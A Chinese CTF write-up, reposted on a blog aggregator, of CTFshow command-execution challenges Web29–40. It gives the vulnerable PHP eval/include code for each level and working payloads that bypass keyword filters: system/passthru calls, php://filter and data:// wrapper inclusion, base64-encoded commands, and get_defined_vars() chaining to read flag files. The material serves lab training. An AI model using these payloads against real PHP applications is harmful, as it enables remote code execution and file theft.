CTFshow-命令执行(Web29-40)

news2024/12/12 21:32:47

CTFshow-命令执行(Web29-40)

CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客

总结rce(远程代码执行各种sao姿势)绕过bypass_远程命令执行绕过-CSDN博客

对比两者的源代码,我们发现,cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来。

Web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }   
}else{
    highlight_file(__FILE__);
}

执行恶意代码,做了过滤,preg_match当$c里有flag(不区分大小写/i) ,就返回1,不执行eval

?c=system(‘ls’);

flag.php index.php

?c=system(‘cat’);

  1. 直接执行系统命令

    ?c=system(“tac%20fla*”);

    ?c=system(“tac fla*”);利用tac与system结合,拿到flag

    因为可以利用system来间接执行系统命令,如果flag不在当前目录,也可以利用?c=system(“ls”); 来查看到底在哪里。

  2. 内敛执行:

    ?c=echo%20tac%20fla*;

  3. fliter读

    https://ea17f469-c347-4866-aaad-05898730fd29.challenge.ctf.show/?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
    
  4. /?c=system(“cat%20fl*g.php”);右键源码

  5. ?c=system(“cp fl*g.php a.txt”);

  6. ?c=eval($_GET[1]);&1=system(“tac%20flag.php”);

  7. ?c=system(base64_decode(‘Y2F0IGZsYWcucGhw’));

Web30

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

    ?c=include$_GET[1];&1=php://filter/read=convert.base64-encode/resource=flag.php

  2. ?c=echo%20tac%20fla*; ?c=echo%20cat%20fla*;

  3. ?c=echo(tac%20f*);

  4. ?c=eval($_GET[1]);&1=system(“tac%20flag.php”);

  5. ?c=passthru(“tac%20fla*”); passthru跟exec,system差不多

  6. https://e023300e-4277-465d-ab93-9747a4876361.challenge.ctf.show/?c=echo shell_exec("tac fla*");
    
  7. ?c=system(base64_decode(‘Y2F0IGZsYWcucGhw’));

ctfshow{8a58547f-7211-453b-9eba-9b9c4e85987b}

Web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=eval($_GET[a]);&a=system(“cat flag.php”);
  2. ?c=passthru(“tac%09f*”);
  3. ?c=passthru(base64_decode(“Y2F0IGZsYWcucGhw”));

Web32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
  1. ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php 

其实两者的差距只在于一个%0a,改不改无所谓,下面解释各成分作用

  • 首先是include+参数1,作用是包含参数1的文件,运用了文件包含漏洞,最后的文件名字可以改为/etc/passwd和nginx的日志文件来定位flag位置
  • 然后是%0a作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)
  • 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
  • 在c中引用了参数1,然后&后对参数1定义,运用文件包含漏洞
  1. ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

Web33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
  1. ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
  2. ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
  3. ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Web34

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
  2. ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
  3. ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Web35

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
  2. ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
  3. ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Web36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>
  2. ?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
  3. ?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

Web37

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==
  2. ?c=data://text/plain,<?php system("tac fla*.php")?>

include()data:// 解释为PHP代码,会直接执行

?c=php://filter/read=convert.base64-encode/resource=flag.php不行,因为过滤了flag

在 PHP 中,include() 不仅能加载文件,还可以加载数据流(stream)。PHP 支持多种流包装器(Stream Wrapper),如:

  • data:// - 直接包含原始数据
  • php:// - PHP的输入/输出流
  • file:// - 读取文件(通常默认使用这个)
  • http:// - 远程 HTTP 资源
  1. 这种方法也行,不够hackbar不支持直接在post data中不以键值对形式传送,所以得用burp抓包手动加image-20241211203825416

Web38

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

把php,file也过来过滤了

直接?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==

Web39

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
}else{
    highlight_file(__FILE__);
}

?c=data://text/plain,<?php system("tac fla*.php")?>

Web40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

全过滤了,这里括号过滤的是中文括号

  1. 构造文件读取

    localeconv():返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)

    pos():返回数组中的当前元素的值。current()与其相似。

    scandir():获取目录下的文件。

    array_reverse():数组逆序。

    next():函数将内部指针指向数组中的下一个元素,并输出。

    print_r():函数用于打印变量,作用对象是变量。

    show_source():对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮,作用对象是文件。

    highlight_file():跟show_source()类似。

    • print_r(pos(localeconv()));
    • print_r(scandir(pos(localeconv())));
    • print_r((array_reverse(scandir(current(localeconv())))));
    • show_source(next(array_reverse(scandir(current(localeconv())))));
    • highlight_file(next(array_reverse(scandir(current(localeconv())))));
    • echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
  2. 构造数组+rce

    get_defined_vars() :函数返回由所有已定义变量所组成的数组,包括URL屁股后面接的pay

    array_pop() 函数删除数组中的最后一个元素。

    reset用于将指向返回变量数组的指针指向第一个变量即c

    next向前移动一位指针即pay,eval执行返回的值就是咱们定义的恶意代码

    • print_r(get_defined_vars());
    • ?c=eval(next(reset(get_defined_vars())));&pay=system(“tac flag.php”);

    这里源码只定义了一个变量即c,加上引入的pay就两个变量值了

    image-20241211211430839

image-20241211211655955

函数删除数组中的最后一个元素。

reset用于将指向返回变量数组的指针指向第一个变量即c

next向前移动一位指针即pay,eval执行返回的值就是咱们定义的恶意代码

  • print_r(get_defined_vars());
  • ?c=eval(next(reset(get_defined_vars())));&pay=system(“tac flag.php”);

这里源码只定义了一个变量即c,加上引入的pay就两个变量值了

[外链图片转存中…(img-CvyDaotT-1733923316562)]

[外链图片转存中…(img-biZkr7bS-1733923316562)]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2258433.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【OpenCV】直方图

理论 可以将直方图视为图形或曲线图&#xff0c;从而使您对图像的强度分布有一个整体的了解。它是在X轴上具有像素值(不总是从0到255的范围)&#xff0c;在Y轴上具有图像中相应像素数的图。 这只是理解图像的另一种方式。通过查看图像的直方图&#xff0c;您可以直观地了解该…

OpenAI直播发布第4天:ChatGPT Canvas全面升级,免费开放!

大家好&#xff0c;我是木易&#xff0c;一个持续关注AI领域的互联网技术产品经理&#xff0c;国内Top2本科&#xff0c;美国Top10 CS研究生&#xff0c;MBA。我坚信AI是普通人变强的“外挂”&#xff0c;专注于分享AI全维度知识&#xff0c;包括但不限于AI科普&#xff0c;AI工…

PDF 文件如何转为 CAD 图纸?PDF2CAD 使用教程

在工程设计和建筑行业中&#xff0c;PDF 文件常常被用来分享和存档图纸。然而&#xff0c;当需要对这些图纸进行编辑或进一步开发时&#xff0c;静态的 PDF 格式就显得力不从心了。这时候&#xff0c;将 PDF 文件转换为可编辑的 CAD&#xff08;计算机辅助设计&#xff09;格式…

JS进阶DAY3|事件(三)事件委托

目录 一、事件委托 1.1 概念 1.2 代码示例 二、tab栏切换案例 一、事件委托 1.1 概念 事件委托是一种在JavaScript中常用的技术&#xff0c;它利用了DOM事件冒泡的原理。事件冒泡是指当在DOM树中较低层次的元素上发生事件时&#xff0c;这个事件会向上冒泡到更高层次的元素…

小白如何学习看懂CAD图纸?

首先&#xff0c;你需要了解CAD图纸的基本构成&#xff0c;包括图例、尺寸标注、比例等等。接着&#xff0c;你可以通过一些专业的书籍、在线课程或视频教程来逐步学习如何识别和理解这些元素。但建议不要学的太复杂了。 掌握基本概念&#xff1a; 坐标系&#xff1a;了解CAD…

让PPT不再“难搞”:智能工具如何改变办公体验

PPT的世界是一场属于设计感与逻辑力的双重较量。那些字体配色的小心思&#xff0c;排版设计的大考验&#xff0c;无不让人抓耳挠腮。然而&#xff0c;科技的加持让这一切正悄然改变。比如&#xff0c;随着 ai生成ppt 工具的兴起&#xff0c;许多复杂操作正被重新定义&#xff0…

大语言模型(LLM)与智能机器人的应用分析

系列文章目录 前言 近年来,大型语言模型(LLM)的集成彻底改变了机器人领域,使机器人能够以人类熟练程度进行交流、理解和推理。本文探讨了 LLM 对机器人的多方面影响,并针对在不同领域利用这些模型的关键挑战和机遇进行了研究。通过将 LLM 应用程序分类并分析核心机器人元素…

【论文速读】| AttackQA:利用微调及开源大语言模型辅助网络安全运营的数据集的开发与应用

基本信息 原文标题: AttackQA: Development and Adoption of a Dataset for Assisting Cybersecurity Operations Using Fine-Tuned and Open-Source LLMs 原文作者: Varun Badrinath Krishna 作者单位: SambaNova Systems 关键词: 网络安全、检索增强生成&#xff08;RAG&…

Android 车载虚拟化底层技术-Kernel 5.10 -Android12(multi-cards)技术实现

详细代码实现见 Android Display Graphics系列文章-汇总​​​​​​Android Display Graphics系列文章-汇总 Android Display Graphics系列文章-汇总 Android Display Graphics系列文章-汇总 本文主要包括部分&#xff1a; 一、Android12的Kernel 5.10版本 1.1 Kernel 5…

lqb_算法

1.蓝桥杯2024年第十五届决赛真题- 蚂蚁开会 题目描述 二维平面上有 n 只蚂蚁&#xff0c;每只蚂蚁有一条线段作为活动范围&#xff0c;第 i 只蚂蚁的活动范围的两个端点为 (uix, uiy),(vix, viy)。现在蚂蚁们考虑在这些线段的交点处设置会议中心。为了尽可能节省经费&#xf…

【银河麒麟高级服务器操作系统】修改容器中journal服务日志存储位置无效—分析及解决方案

了解更多银河麒麟操作系统全新产品&#xff0c;请点击访问 麒麟软件产品专区&#xff1a;https://product.kylinos.cn 开发者专区&#xff1a;https://developer.kylinos.cn 文档中心&#xff1a;https://documentkylinos.cn 服务器环境以及配置 【机型】 整机类型/架构&am…

springboot422甘肃旅游服务平台代码-(论文+源码)_kaic

摘 要 使用旧方法对甘肃旅游服务平台的信息进行系统化管理已经不再让人们信赖了&#xff0c;把现在的网络信息技术运用在甘肃旅游服务平台的管理上面可以解决许多信息管理上面的难题&#xff0c;比如处理数据时间很长&#xff0c;数据存在错误不能及时纠正等问题。这次开发的…

决策曲线分析(DCA)中平均净阈值用于评价模型算法(R自定义函数)

决策曲线分析&#xff08;DCA&#xff09;中平均净阈值用于评价模型算法 DCA分析虽然不强调用来评价模型算法或者变量组合的优劣&#xff0c;但是实际应用过程中感觉DCA曲线的走势和模型的效能具有良好的一致性&#xff0c;其实这种一致性也可以找到内在的联系&#xff0c;比如…

短信验证码burp姿势

首先声明&#xff0c;本文仅仅作为学习使用&#xff0c;因个人原因导致的后果&#xff0c;皆有个人承担&#xff0c;本人没有任何责任。 在之前的burp学习中&#xff0c;我们学习了图片验证码的突破&#xff0c;但是现实中还有很多短信验证码&#xff0c;在此我介绍几种短信验…

机器学习:全面学习路径指南

摘要&#xff1a; 本文精心规划了一条从入门到精通机器学习的学习路线&#xff0c;详细涵盖了基础理论构建、核心技术栈掌握、主流算法学习、实践项目锻炼以及前沿领域探索等多个关键阶段。通过逐步深入各个层面&#xff0c;介绍必备的数学知识、编程工具、经典与现代机器学习算…

聚类及Python下实现 K-means 算法

聚类 聚类是无监督学习中的一种重要方法&#xff0c;旨在将数据集中相似的数据对象划分到同一个簇中&#xff0c;使得不同簇之间的数据对象差异尽可能大。在大数据环境下&#xff0c;聚类可以帮助挖掘数据中的隐藏结构和模式&#xff0c;应用场景十分广泛&#xff0c;比如在客…

【Qt在线安装器】不能下载Qt5

qt在线下载不显示以前的版本时&#xff1a; 勾选”Archive“&#xff0c;点击”筛选“ 然后就会显示出QT5的版本&#xff0c; 按流程下载即可

html|本地实现浏览器m3u8播放器,告别网络视频卡顿

前言 网络上经常是以m3u8文件传输视频流的 &#xff0c;但是有时网络慢往往导致视频播放卡顿。于是我在想能不能先下载然后再播放呢&#xff1f;于是尝试下载然后实现本地播放m3u8视频。 正文 1.找到网络视频流的m3u8连接 一般在浏览器按F12就可以看到有请求视频流的连接。 …

[leetcode100] 101. 对称二叉树

https://leetcode.cn/problems/symmetric-tree/description/?envTypestudy-plan-v2&envIdtop-100-liked 心血来潮&#xff0c;突然感觉很久没做leetcode&#xff0c;刷一题。 看到“简单”&#xff0c;哦吼&#xff0c;应该很快吧。 结果真是《简单》 题目描述 给你一个…

技术速递|dotnet scaffold – .NET 的下一代内容创建

作者&#xff1a;Sayed Ibrahim Hashimi - 首席项目经理 排版&#xff1a;Alan Wang Visual Studio 中为 ASP.NET Core 项目搭建脚手架是一项长期特性&#xff0c;是在 ASP.NET Core 发布后不久添加的。多年来&#xff0c;我们一直支持从命令行搭建脚手架。根据从命令行操作中获…